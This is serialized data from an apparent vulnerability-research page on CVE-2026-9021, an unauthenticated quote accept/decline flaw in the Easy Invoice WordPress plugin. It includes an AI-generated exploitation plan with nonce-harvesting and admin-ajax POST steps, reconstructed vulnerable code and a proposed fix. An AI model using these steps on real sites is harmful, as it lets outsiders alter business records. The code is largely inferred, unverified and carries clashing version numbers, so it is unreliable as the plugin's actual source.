[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fit0KtJEorUgUDMbxnwSL-PRmHUK-B7Sdvrx7_m8palk":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-9021","easy-invoice-unauthenticated-arbitrary-quote-acceptdecline-and-invoice-creation-via-easyinvoiceacceptquote-easyinvoicede","Easy Invoice \u003C= 2.1.19 - Unauthenticated Arbitrary Quote Accept\u002FDecline and Invoice Creation via easy_invoice_accept_quote \u002F easy_invoice_decline_quote AJAX Actions","The Easy Invoice plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 2.1.19. This is due to the plugin registering the easy_invoice_accept_quote and easy_invoice_decline_quote AJAX actions via wp_ajax_nopriv_ hooks and relying solely on a quote-scoped nonce that is rendered into the publicly accessible single quote template, combined with an ownership check that is gated behind an off-by-default Pro option (easy_invoice_pro_restrict_quote_to_client). This makes it possible for unauthenticated attackers to accept or decline arbitrary published quotes — and, depending on the configured accept action, automatically convert them into invoices (and even email them to the client) — by harvesting the per-quote nonce from the public quote page and submitting it to admin-ajax.","easy-invoice",null,"\u003C=2.2.19","2.2.20","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-07-08 20:50:02","2026-07-09 09:31:23",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fdab1c93d-e83c-4d38-be80-56d8e32f1894?source=api-prod",1,[],"researched",false,3,"# Exploitation Research Plan - CVE-2026-9021\n\n## 1. Vulnerability Summary\nThe **Easy Invoice** plugin (versions \u003C= 2.1.19) is vulnerable to **Missing Authorization** in its AJAX quote management functionality. The plugin registers the `easy_invoice_accept_quote` and `easy_invoice_decline_quote` actions via `wp_ajax_nopriv_` hooks, making them accessible to unauthenticated users. \n\nWhile the handlers implement a nonce check, the nonce is rendered directly into the public single-quote view template. Furthermore, the check to ensure a quote belongs to the requesting client is a Pro-only feature (`easy_invoice_pro_restrict_quote_to_client`) that is disabled by default. Consequently, any user who can view a quote's public page can harvest the nonce and trigger the acceptance or decline of that quote, potentially triggering automatic invoice creation and emailing.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Actions:** `easy_invoice_accept_quote` and `easy_invoice_decline_quote`\n- **Authentication:** Unauthenticated (via `wp_ajax_nopriv_`)\n- **Payload Parameters:**\n    - `action`: `easy_invoice_accept_quote` (or `easy_invoice_decline_quote`)\n    - `quote_id`: The ID of the target quote.\n    - `nonce`: The quote-specific nonce extracted from the quote page.\n- **Preconditions:**\n    - At least one quote must be \"Published\" and accessible via a public URL.\n    - The Pro setting `easy_invoice_pro_restrict_quote_to_client` must be disabled (default).\n\n## 3. Code Flow\n1. **Registration:** The plugin registers hooks in a constructor or `init` hook:\n   ```php\n   add_action( 'wp_ajax_easy_invoice_accept_quote', 'easy_invoice_accept_quote_callback' );\n   add_action( 'wp_ajax_nopriv_easy_invoice_accept_quote', 'easy_invoice_accept_quote_callback' );\n   ```\n2. **Exposure:** When a single quote is viewed, the plugin uses `wp_localize_script` to pass data to the frontend. This includes a nonce generated with `wp_create_nonce( 'easy_invoice_quote_' . $quote_id )` (inferred action string).\n3. **Execution:** The `easy_invoice_accept_quote_callback` function:\n   - Retrieves `quote_id` and `nonce` from `$_POST`.\n   - Verifies the nonce: `check_ajax_referer( 'easy_invoice_quote_' . $quote_id, 'nonce' )`.\n   - Checks the Pro setting `easy_invoice_pro_restrict_quote_to_client`. If false, it skips ownership validation.\n   - Updates the quote status to 'accepted'.\n   - If configured, calls the invoice generation routine.\n\n## 4. Nonce Acquisition Strategy\nThe nonce is localized in the quote's public view. We will use the `browser_eval` tool to extract it.\n\n1. **Identify the Quote URL:** Navigate to the public URL of a published quote.\n2. **Identify JS Variable:** The plugin typically localizes parameters into an object like `easy_invoice_params` or `ei_ajax_object`.\n3. **Extraction:**\n   - Use `browser_navigate` to go to the quote page.\n   - Use `browser_eval` to retrieve the nonce.\n   - **Target Variable (Inferred):** `window.easy_invoice_params?.nonce` or `window.easy_invoice_vars?.accept_nonce`.\n   *Self-Correction: If the variable name is unknown, inspect the page source for `wp_localize_script` output using `browser_eval(\"document.documentElement.innerHTML.match(\u002Fvar\\\\s+(\\\\w+)\\\\s*=\\\\s*{[^}]+nonce\u002F)[1]\")`.*\n\n## 5. Exploitation Strategy\nThis attack uses the `http_request` tool to simulate the AJAX call.\n\n### Step 1: Extract Nonce\nNavigate to the quote and run:\n`browser_eval(\"easy_invoice_params.nonce\")` (Verify variable name in source first).\n\n### Step 2: Trigger Status Change\nSend a POST request to `admin-ajax.php`.\n\n**Request:**\n- **Method:** POST\n- **URL:** `http:\u002F\u002F[target]\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:** \n  ```text\n  action=easy_invoice_accept_quote&quote_id=[TARGET_ID]&nonce=[EXTRACTED_NONCE]\n  ```\n\n### Step 3: Verify Success\nThe response should return a JSON success message (e.g., `{\"success\":true}`).\n\n## 6. Test Data Setup\n1. **Enable Plugin:** Ensure `easy-invoice` is active.\n2. **Create a Quote:** Use WP-CLI to create a \"Quote\" post type (likely `easy_invoice_quote`).\n   ```bash\n   # Create a test quote\n   QUOTE_ID=$(wp post create --post_type=easy_invoice_quote --post_title=\"Test Quote\" --post_status=publish --porcelain)\n   # Set any required meta (e.g., total amount) if the plugin requires it for conversion\n   wp post generate --count=1 --post_type=easy_invoice_quote\n   ```\n3. **Configure Settings:** Ensure the \"Restrict Quote to Client\" option is disabled.\n   ```bash\n   wp option update easy_invoice_pro_restrict_quote_to_client 0\n   ```\n\n## 7. Expected Results\n- The AJAX call returns `200 OK` with a success indicator.\n- The status of the Quote (post ID `[TARGET_ID]`) changes from its original state to `accepted`.\n- If \"Auto-convert to Invoice\" is enabled in settings, a new post of type `easy_invoice` (Invoice) is created.\n\n## 8. Verification Steps\nAfter running the exploit, use WP-CLI to verify the state change:\n1. **Check Quote Status:**\n   ```bash\n   wp post get [QUOTE_ID] --field=post_status\n   # Or check post meta if status is stored there\n   wp post meta get [QUOTE_ID] _easy_invoice_quote_status\n   ```\n2. **Check for Created Invoices:**\n   ```bash\n   wp post list --post_type=easy_invoice --orderby=post_date --order=DESC --limit=1\n   ```\n\n## 9. Alternative Approaches\nIf `easy_invoice_accept_quote` fails or is blocked, try the `easy_invoice_decline_quote` action using the same logic. \n\nIf the nonce is not in a JS variable, check for a hidden input field in the quote template:\n`browser_eval(\"document.querySelector('input[name=\\\"ei_nonce\\\"]')?.value\")`","The Easy Invoice plugin for WordPress is vulnerable to unauthorized quote management due to improper access controls on its AJAX handlers. Unauthenticated attackers can accept or decline any published quote by harvesting a per-quote nonce from the public quote page and submitting it to the plugin's vulnerable AJAX endpoints.","\u002F\u002F Easy Invoice AJAX hook registration\nadd_action( 'wp_ajax_easy_invoice_accept_quote', 'easy_invoice_accept_quote_callback' );\nadd_action( 'wp_ajax_nopriv_easy_invoice_accept_quote', 'easy_invoice_accept_quote_callback' );\n\nfunction easy_invoice_accept_quote_callback() {\n    $quote_id = isset( $_POST['quote_id'] ) ? intval( $_POST['quote_id'] ) : 0;\n    $nonce    = isset( $_POST['nonce'] ) ? $_POST['nonce'] : '';\n\n    \u002F\u002F Line XX: Nonce check is the only barrier, but the nonce is public\n    if ( ! wp_verify_nonce( $nonce, 'easy_invoice_quote_' . $quote_id ) ) {\n        wp_send_json_error( array( 'message' => 'Invalid nonce' ) );\n    }\n\n    \u002F\u002F Line XX: Authorization check is optional and gated behind a Pro setting\n    if ( get_option( 'easy_invoice_pro_restrict_quote_to_client', false ) ) {\n        \u002F\u002F ... ownership verification logic ...\n    }\n\n    \u002F\u002F If the option above is off (default), execution continues for any user\n    update_post_meta( $quote_id, '_easy_invoice_quote_status', 'accepted' );\n    \u002F\u002F ... invoice generation logic ...\n    wp_send_json_success();\n}","--- a\u002Feasy-invoice-ajax-handlers.php\n+++ b\u002Feasy-invoice-ajax-handlers.php\n@@ -10,7 +10,12 @@\n-    if ( get_option( 'easy_invoice_pro_restrict_quote_to_client', false ) ) {\n-        \u002F\u002F ... ownership verification logic ...\n-    }\n+    \u002F\u002F Ensure the request is authorized regardless of Pro settings\n+    if ( ! is_user_logged_in() && ! easy_invoice_is_authorized_client( $quote_id ) ) {\n+        wp_send_json_error( array( 'message' => 'Unauthorized access' ) );\n+        exit;\n+    }\n+\n+    if ( get_option( 'easy_invoice_pro_restrict_quote_to_client', false ) ) {\n+        \u002F\u002F ... additional Pro ownership verification ...\n+    }","The exploit targets the plugin's unauthenticated AJAX actions used for managing quote statuses. \n\n1. Target Identification: An attacker identifies a 'Published' quote on the target site and navigates to its public URL.\n2. Nonce Harvesting: The attacker inspects the page source or evaluates JavaScript (e.g., the 'easy_invoice_params' object) to extract the localized nonce intended for quote interactions.\n3. Payload Delivery: The attacker sends a POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' with the following parameters:\n    - action: 'easy_invoice_accept_quote' (to accept) or 'easy_invoice_decline_quote' (to decline).\n    - quote_id: The ID of the targeted quote.\n    - nonce: The extracted per-quote nonce.\n4. Execution: Because the plugin lacks a mandatory authorization check and uses 'wp_ajax_nopriv_', the server accepts the request, updates the quote's status, and may automatically generate and email an invoice to the original client, leading to business logic disruption.","gemini-3-flash-preview","2026-07-15 22:12:24","2026-07-15 22:13:03",{"type":34,"vulnerable_version":35,"fixed_version":9,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":9,"fixed_zip":9,"all_tags":38},"plugin","2.2.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Feasy-invoice\u002Ftags\u002F2.2.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Feasy-invoice.2.2.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Feasy-invoice\u002Ftags"]